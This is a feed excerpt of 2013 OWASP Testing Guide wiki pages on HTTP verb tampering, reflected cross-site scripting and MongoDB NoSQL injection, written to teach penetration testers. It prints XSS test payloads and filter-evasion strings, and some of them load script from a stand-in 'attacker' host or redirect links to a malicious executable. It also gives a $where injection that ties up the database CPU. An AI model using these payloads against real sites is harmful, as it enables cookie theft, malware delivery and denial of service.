		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Verb_Tampering_(OTG-INPVAL-003)&amp;diff=157046"/>
				<updated>2013-08-20T14:46:56Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The HTTP specification includes request methods other than the de-facto standard GET and POST requests. A standards compliant web server may respond to these alternative methods in ways not anticipated by developers. &lt;br /&gt;
&lt;br /&gt;
Although the common description is 'verb' tampering, the HTTP 1.1 standard refers to these request types as different HTTP 'methods.'&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The full HTTP 1.1 specification [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html] defines the following valid HTTP request methods, or verbs:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OPTIONS&lt;br /&gt;
GET&lt;br /&gt;
HEAD&lt;br /&gt;
POST&lt;br /&gt;
PUT&lt;br /&gt;
DELETE&lt;br /&gt;
TRACE&lt;br /&gt;
CONNECT&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, most web applications only need to respond to GET and POST requests - providing user data in the URL query string or appended to the request, respectively. The standard &amp;lt;code&amp;gt;&amp;lt;a href=&amp;quot;&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/code&amp;gt; style links trigger a GET request; form data submitted via &amp;lt;code&amp;gt;&amp;lt;form method='POST'&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/code&amp;gt; trigger POST requests. Forms defined without a method also send data via GET by default.&lt;br /&gt;
&lt;br /&gt;
Oddly, the other valid HTTP methods are not supported by the HTML standard [http://www.w3.org/TR/REC-html40/interact/forms.html#h-17.13.1]. Any HTTP method other than GET or POST needs to be calletd outside the HTML document. However, JavaScript and AJAX calls may send methods other than GET and POST.&lt;br /&gt;
&lt;br /&gt;
As long as the web application being tested does not specifically call for any non-standard HTTP methods, testing for HTTP verb tampering is quite simple. If the server accepts a request other than GET or POST, the test fails. The solutions is to disable all non GET or POST functionality within the web application server, or in a web application firewall.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&amp;lt;br&amp;gt;Because the HTML standard does not support request methods other than GET or POST, we will need to craft our own HTTP requests to test the other methods. We highly recommend using a tool to do this, although we will demonstrate how to do &amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=157044</id>
		<title>Testing for Reflected Cross site scripting (OTG-INPVAL-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=157044"/>
				<updated>2013-08-20T14:25:26Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Reflected [[Cross-site Scripting (XSS)]] occur when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page. The attack string is included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Reflected XSS are the most frequent type of XSS attacks found in the wild.&lt;br /&gt;
&lt;br /&gt;
Reflected XSS attacks are also known as non-persistent XSS attacks and, since the attack payload is delivered and executed via a single request and response, they are also referred to as first-order or type 1 XSS.&lt;br /&gt;
&lt;br /&gt;
When a web application is vulnerable to this type of attack, it will &lt;br /&gt;
pass unvalidated input sent through requests back to the client. The common modus &lt;br /&gt;
operandi of the attack includes a design step, in which the attacker &lt;br /&gt;
creates and tests an offending URI, a social engineering step, in which &lt;br /&gt;
she convinces her victims to load this URI on their browsers, and the eventual &lt;br /&gt;
execution of the offending code using the victim's browser. &lt;br /&gt;
&lt;br /&gt;
Commonly the attacker's code is written in the Javascript language, but  &lt;br /&gt;
other scripting languages are also used, e.g., ActionScript and VBScript. &lt;br /&gt;
&lt;br /&gt;
Attackers typically leverage these vulnerabilities to &lt;br /&gt;
install key loggers, steal victim cookies, perform clipboard theft, and &lt;br /&gt;
change the content of the page (e.g., download links). &lt;br /&gt;
&lt;br /&gt;
One of the primary difficulties in preventing XSS vulnerabilities is proper character encoding. &lt;br /&gt;
In some cases, the web server or the web application could not be filtering some &lt;br /&gt;
encodings of characters, so, for example, the web application might filter out &amp;quot;&amp;lt;script&amp;gt;&amp;quot;, &lt;br /&gt;
but might not filter %3cscript%3e which simply includes another encoding of tags.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
A black-box test will include at least three phases:&lt;br /&gt;
&lt;br /&gt;
1. Detect input vectors. For each web page, the tester must determine all the web application's user-defined variables and how to input them. This includes hidden or non-obvious inputs such as HTTP parameters, POST data, hidden form field values, and predefined radio or selection values. Typically in-browser HTML editors or web proxies are used to view these hidden variables. See the example below.&lt;br /&gt;
&lt;br /&gt;
2. Analyze each input vector to detect potential vulnerabilities. To detect an XSS vulnerability, the tester will typically use specially crafted input data with each input vector. Such input data is typically harmless, but trigger responses from the web browser that manifests the vulnerability. Testing data can be generated by using a web application fuzzer, an automated predefined list of known attack strings, or manually. &amp;lt;br /&amp;gt;Some example of such input data are the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
“&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
For a comprehensive list of potential test strings, see the [[XSS Filter Evasion Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
3. For each test input attempted in the previous phase, the tester will analyze the result and determine if it represents a vulnerability that has a realistic impact on the web application's security. This requires examining the resulting web page HTML and searching for the test input. Once found, the tester identifies any special characters that were not properly encoded, replaced, or filtered out. The set of vulnerable unfiltered special characters will depend on the context of that section of HTML. &lt;br /&gt;
&lt;br /&gt;
Ideally all HTML special characters will be replaced with HTML entities. The key HTML entities to identify are: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;gt; (greater than) &lt;br /&gt;
&amp;lt; (less than) &lt;br /&gt;
&amp;amp; (ampersand)&lt;br /&gt;
' (apostrophe or single quote)&lt;br /&gt;
&amp;quot; (double quote)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, a full list of entities is defined by the HTML and XML specifications. Wikipedia has a complete reference [http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references].&lt;br /&gt;
&lt;br /&gt;
Within the context of an HTML action or JavaScript code, a different set of special characters will need to be escaped, encoded, replaced, or filtered out. These characters include: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
\n (new line)&lt;br /&gt;
\r (carriage return)&lt;br /&gt;
\' (apostrophe or single quote)&lt;br /&gt;
\&amp;quot; (double quote)&lt;br /&gt;
\\ (backslash)&lt;br /&gt;
\uXXXX (unicode values)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For a more complete reference, see the Mozilla JavaScript guide. [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Using_special_characters_in_strings]&lt;br /&gt;
&lt;br /&gt;
=== Example 1 ===&lt;br /&gt;
For example, consider a site that has a welcome notice &amp;quot; Welcome %username% &amp;quot; and a download link. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example1.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The tester must suspect that every data entry point can result in an XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. &lt;br /&gt;
Let's try to click on the following link and see what happens:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/index.php?user=&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If no sanitization is applied this will result in the following popup:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:alert.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This indicates that there is an XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link.&lt;br /&gt;
&lt;br /&gt;
=== Example 2 ===&lt;br /&gt;
Let's try other piece of code (link):&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/index.php?user=&amp;lt;script&amp;gt;window.onload = function() {var AllLinks=document.getElementsByTagName(&amp;quot;a&amp;quot;); &lt;br /&gt;
AllLinks[0].href = &amp;quot;http://badexample.com/malicious.exe&amp;quot;; }&amp;lt;/script&amp;gt; &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This produces the following behavior:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example2.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.&lt;br /&gt;
&lt;br /&gt;
== Bypass XSS filters  ==&lt;br /&gt;
Reflected cross-site scripting attacks are prevented as the web application sanitizes input, a web&lt;br /&gt;
application firewall blocks malicious input, or by mechanisms embedded in modern web browsers.&lt;br /&gt;
&lt;br /&gt;
The tester must test for vulnerabilities assuming that web browsers will not prevent the attack. Browsers may be out of date, or have built-in security features disabled.&lt;br /&gt;
&lt;br /&gt;
Similarly, web application firewalls are not guaranteed to recognize novel, unknown attacks. An attacker could craft an attack string that is unrecognized by the web application firewall.&lt;br /&gt;
&lt;br /&gt;
Thus, the majority of XSS prevention must depend on the web application's sanitization of untrusted user input. There are several mechanisms available to developers for sanitization, such as returning an error, removing, encoding, or replacing invalid input. The means by which the application detects and corrects invalid input is another primary weakness in preventing XSS. A blacklist may not include all possible attack strings, a whitelist may be overly permissive, the sanitization could fail, or a type of input may be incorrectly trusted and remain unsanitized. All of these allow attackers to circumvent XSS filters.&lt;br /&gt;
&lt;br /&gt;
The [[XSS Filter Evasion Cheat Sheet]] documents common filter evasion tests.&lt;br /&gt;
&lt;br /&gt;
=== Example 3: Tag Attribute Value ===&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Since these filters are based on a blacklist, they could not block every type of expressions. In fact, there are cases in which an XSS exploit can be carried out without the use of &amp;lt;script&amp;gt; tags and even without the use of characters such as &amp;quot; &amp;lt; &amp;gt; and / that are commonly filtered.&lt;br /&gt;
For example, the web application could use the user input value to fill an attribute, as shown in the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;state&amp;quot; value=&amp;quot;INPUT_FROM_USER&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then an attacker could submit the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot; onfocus=&amp;quot;alert(document.cookie)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 4: Different syntax or enconding ===&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In some cases it is possible that signature-based filters can be simply defeated by obfuscating the attack. Typically you can do this through the insertion of unexpected variations in the syntax or in the enconding. These variations are tolerated by browsers as valid HTML when the code is returned, and yet they could also be accepted by the filter. &lt;br /&gt;
Following some examples:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot;&amp;gt;&amp;lt;script &amp;gt;alert(document.cookie)&amp;lt;/script &amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot;&amp;gt;&amp;lt;ScRiPt&amp;gt;alert(document.cookie)&amp;lt;/ScRiPt&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot;%3cscript%3ealert(document.cookie)%3c/script%3e&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 5: Bypassing non-recursive filtering ===&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Sometimes the sanitization is applied only once and it is not being performed recursively. In this case the attacker can beat the filter by sending a string containing multiple attempts, like this one:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;scr&amp;lt;script&amp;gt;ipt&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 6: Including external script ===&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Now suppose that developers of the target site implemented the following code to protect the input from the inclusion of external script: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?&lt;br /&gt;
   $re = &amp;quot;/&amp;lt;script[^&amp;gt;]+src/i&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
   if (preg_match($re, $_GET['var'])) &lt;br /&gt;
   {&lt;br /&gt;
      echo &amp;quot;Filtered&amp;quot;;&lt;br /&gt;
      return; &lt;br /&gt;
   }&lt;br /&gt;
   echo &amp;quot;Welcome &amp;quot;.$_GET['var'].&amp;quot; !&amp;quot;;&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this scenario there is a regular expression checking if &amp;lt;b&amp;gt;&amp;lt;script [anything but the character: '&amp;gt;' ] src&amp;lt;/b&amp;gt; is inserted. This is useful for filtering expressions like &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script src=&amp;quot;http://attacker/xss.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
which is a common attack. But, in this case, it is possible to bypass the sanitization by using the &amp;quot;&amp;gt;&amp;quot; character in an attribute between script and src, like this: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://example/?var=&amp;lt;SCRIPT%20a=&amp;quot;&amp;gt;&amp;quot;%20SRC=&amp;quot;http://attacker/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will exploit the reflected cross site scripting vulnerability shown before, executing the javascript code stored on the attacker's web server as if it was &lt;br /&gt;
originating from the victim web site, http://example/. &lt;br /&gt;
&lt;br /&gt;
=== Example 7: HTTP Parameter Pollution (HPP) ===&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Another method to bypass filters is the HTTP Parameter Pollution, this technique was first presented by Stefano di Paola and Luca Carettoni in 2009 at the OWASP &lt;br /&gt;
Poland conference. See the [[Testing for HTTP Parameter pollution (OWASP-DV-004)|Testing for HTTP Parameter pollution]] for more information. &lt;br /&gt;
This evasion technique consists of splitting an attack vector between multiple parameters that have the same name. The manipulation of the value of each &lt;br /&gt;
parameter depends on how each web technology is parsing these parameters, so this type of evasion is not always possible.&lt;br /&gt;
If the tested environment concatenates the values of all parameters with the same name, then an attacker could use this technique in order to bypass pattern-&lt;br /&gt;
based security mechanisms.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Regular attack: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://example/page.php?param=&amp;lt;script&amp;gt;[...]&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Attack using HPP:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://example/page.php?param=&amp;lt;script&amp;amp;param=&amp;gt;[...]&amp;lt;/&amp;amp;param=script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Result expected '''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
See the [[XSS Filter Evasion Cheat Sheet]] for a more detailed list of filter evasion techniques.&lt;br /&gt;
Finally, analyzing answers can get complex. A simple way to do this is to use code that pops up a dialog, as in our example. This typically indicates that an attacker could execute arbitrary JavaScript of his choice in the visitors' browsers. &lt;br /&gt;
&lt;br /&gt;
== Gray Box testing ==&lt;br /&gt;
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and how the user input is rendered back to the user might be known by the pen-tester. &lt;br /&gt;
&lt;br /&gt;
If source code is available (White Box), all variables received from users should be analyzed. Moreover the tester should analyze any sanitization procedures implemented to decide if these can be circumvented. &lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[[XSS Filter Evasion Cheat Sheet]] &lt;br /&gt;
'''Books'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Joel Scambray, Mike Shema, Caleb Sima - &amp;quot;Hacking Exposed Web Applications&amp;quot;, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto - &amp;quot;The Web Application's Handbook - Discovering and Exploiting Security Flaws&amp;quot;, 2008, Wiley, ISBN 978-0-470-17077-9&lt;br /&gt;
* Jeremiah Grossman, Robert &amp;quot;RSnake&amp;quot; Hansen, Petko &amp;quot;pdp&amp;quot; D. Petkov, Anton Rager, Seth Fogie - &amp;quot;Cross Site Scripting Attacks: XSS Exploits and Defense&amp;quot;, 2007, Syngress, ISBN-10: 1-59749-154-3&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''CERT''' - Malicious HTML Tags Embedded in Client Web Requests: [http://www.cert.org/advisories/CA-2000-02.html Read]&lt;br /&gt;
* '''Rsnake''' - XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]&lt;br /&gt;
* '''cgisecurity.com''' - The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]&lt;br /&gt;
* '''G.Ollmann''' - HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]&lt;br /&gt;
* '''A. Calvo, D.Tiscornia''' - alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&amp;amp;action=view&amp;amp;type=publication&amp;amp;name=alert%28A_javascritp_agent%29 Read] ( To be published )&lt;br /&gt;
* '''S. Frei, T. Dübendorfer, G. Ollmann, M. May''' - Understanding the Web browser threat: [http://www.techzoom.net/publications/insecurity-iceberg/index.en Read]&lt;br /&gt;
'''Tools''' &amp;lt;br&amp;gt;&lt;br /&gt;
* '''[[OWASP CAL9000 Project|OWASP CAL9000]]''' &lt;br /&gt;
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners. It's hosted as a reference at http://yehg.net/lab/pr0js/pentest/CAL9000/ .&lt;br /&gt;
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding [mirror: http://yehg.net/e ]&lt;br /&gt;
This tool helps you encode arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.&lt;br /&gt;
* '''HackVertor''' -  http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php&lt;br /&gt;
It provides multiple dozens of flexible encoding for advanced string manipulation attacks.&lt;br /&gt;
* '''[[OWASP WebScarab Project|WebScarab]]'''&lt;br /&gt;
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. &lt;br /&gt;
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/&lt;br /&gt;
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.&lt;br /&gt;
* '''ratproxy''' - http://code.google.com/p/ratproxy/&lt;br /&gt;
A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.&lt;br /&gt;
* '''Burp Proxy''' - http://portswigger.net/proxy/&lt;br /&gt;
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - [[OWASP_Zed_Attack_Proxy_Project]]&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_NoSQL_injection&amp;diff=156617</id>
		<title>Testing for NoSQL injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_NoSQL_injection&amp;diff=156617"/>
				<updated>2013-08-09T16:45:07Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: References&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. Because these NoSQL injection attacks may execute within a procedural[http://en.wikipedia.org/wiki/Procedural_programming] language , rather than in the declarative[http://en.wikipedia.org/wiki/Declarative_programming] SQL language, the potential impacts are greater than traditional SQL injection.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
NoSQL database calls are written in the application's programming language, a custom API call, or formatted according to a common convention (such as XML, JSON, LINQ, etc). Malicious input targeting those specifications may not trigger the primarily application sanitization checks. For example, filtering out common HTML special characters such as &amp;lt;code&amp;gt; &amp;lt; &amp;gt; &amp;amp; ; &amp;lt;/code&amp;gt; will not prevent attacks against a JSON API, where special characters include &amp;lt;code&amp;gt; / { } : &amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
There are now over 150 NoSQL databases available[http://nosql-database.org/] for use within an application, providing APIs in a variety of languages and relationship models. Each offers different features and restrictions. Because there is not a common language between them, example injection code will not apply across all NoSQL databases. For this reason, anyone testing for NoSQL injection attacks will need to familiarize themselves with the syntax, data model, and underlying programming language in order to craft specific tests.&lt;br /&gt;
&lt;br /&gt;
NoSQL injection attacks may execute in different areas of an application than traditional SQL injection. Where SQL injection would execute within the database engine, NoSQL variants may execute during within the application layer or the database layer, depending on the NoSQL API used and data model. Typically NoSQL injection attacks will execute where the attack string is parsed, evaluated, or concatenated into a NoSQL API call.&lt;br /&gt;
&lt;br /&gt;
Additional timing attacks may be relevant to the lack of concurrency checks within a NoSQL database. These are not covered under injection testing.&lt;br /&gt;
&lt;br /&gt;
At the time of writing MongoDB is the most widely used NoSQL database, and so all examples will feature MongoDB APIs.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for NoSQL injection vulnerabilities in MongoDB:''' &amp;lt;br&amp;gt;&lt;br /&gt;
The MongoDB API expects BSON (Binary JSON) calls, and includes a secure BSON query assembly tool. However, according to MongoDB documentation - unserialized JSON and JavaScript expressions are permitted in several alternative query parameters.[http://docs.mongodb.org/manual/faq/developers/#javascript] The most commonly used API call allowing arbitrary JavaScript input is the $where operator.&lt;br /&gt;
&lt;br /&gt;
The MongoDB $where operator typically is used as a simple filter or check, as it is within SQL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt; db.myCollection.find( { $where: &amp;quot;this.credits == this.debits&amp;quot; } ); &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Optionally JavaScript is also evaluated to allow more advanced conditions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt; db.myCollection.find( { $where: function() { return obj.credits - obj.debits &amp;lt; 0; } } ); &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
&lt;br /&gt;
If an attacker were able to manipulate the data passed into the $where operator, that attacker could include arbitrary JavaScript to be evaluated as part of the MongoDB query. An example vulnerability is exposed in the following code, if user input is passed directly into the MongoDB query without sanitization.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;db.myCollection.find( { active: true, $where: function() { return obj.credits - obj.debits &amp;lt; $userInput; } } );;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As with testing other types of injection, one does not need to fully exploit the vulnerability to demonstrate a problem. By injecting special characters relevant to the target API language, and observing the results, a tester can determine if the application correctly sanitized the input. For example within MongoDB, if a string containing any of the following special characters were passed unsanitized, it would trigger a database error.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;' &amp;quot; \ ; { }&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
With normal SQL injection, a similar vulnerability would allow an attacker to execute arbitrary SQL commands - exposing or manipulating data at will. However, because JavaScript is a fully featured language, not only does this allow an attacker to manipulate data, but also to run arbitrary code. For example, instead of just causing an error when testing, a full exploit would use the special characters to craft valid JavaScript.&lt;br /&gt;
&lt;br /&gt;
This input &amp;lt;code&amp;gt;0;var date=new Date(); do{curDate = new Date();}while(curDate-date&amp;lt;10000)&amp;lt;/code&amp;gt; inserted into $userInput in the above example code would result in the following JavaScript function being executed. This specific attack string would case the entire MongoDB instance to execute at 100% CPU usage for 10 second.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;function() { return obj.credits - obj.debits &amp;lt; 0;var date=new Date(); do{curDate = new Date();}while(curDate-date&amp;lt;10000); }&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
&lt;br /&gt;
Even if the input used within queries is completely sanitized or parameterized, there is an alternate path in which one might trigger NoSQL injection. Many NoSQL instances have their own reserved variable names, independent of the application programming language. &lt;br /&gt;
&lt;br /&gt;
For example within MongoDB, the &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt; syntax itself is a reserved query operator. It needs to be passed into the query exactly as shown; any alteration would cause a database error. However, because &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt; is also a valid PHP variable name, it may be possible for an attacker to insert code into the query by creating a PHP variable named &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt;. The PHP MongoDB documentation explicitly warns developers: &amp;lt;pre&amp;gt;Please make sure that for all special query operators (starting with $) you use single quotes so that PHP doesn't try to replace &amp;quot;$exists&amp;quot; with the value of the variable $exists.&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Even if a query depended on no user input, such as the following example, an attacker could exploit MongoDB by replacing the operator with malicious data.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt; db.myCollection.find( { $where: function() { return obj.credits - obj.debits &amp;lt; 0; } } ); &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
One way to potentially assign data to PHP variables is via HTTP Parameter Pollution (see: [[Testing_for_HTTP_Parameter_pollution_(OWASP-DV-004)]]). By creating a variable named &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt; via parameter pollution, one could trigger a MongoDB error indicating that the query is no longer valid. Any value of &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt; other than the string &amp;quot;$where&amp;quot; itself, should suffice to demonstrate vulnerability. An attacker would develop a full exploit by inserting the following: &amp;lt;code&amp;gt;&amp;quot;$where: function() { //arbitrary JavaScript here }&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
Bryan Sullivan from Adobe: &amp;quot;Server-Side JavaScript Injection&amp;quot; - https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf&lt;br /&gt;
&lt;br /&gt;
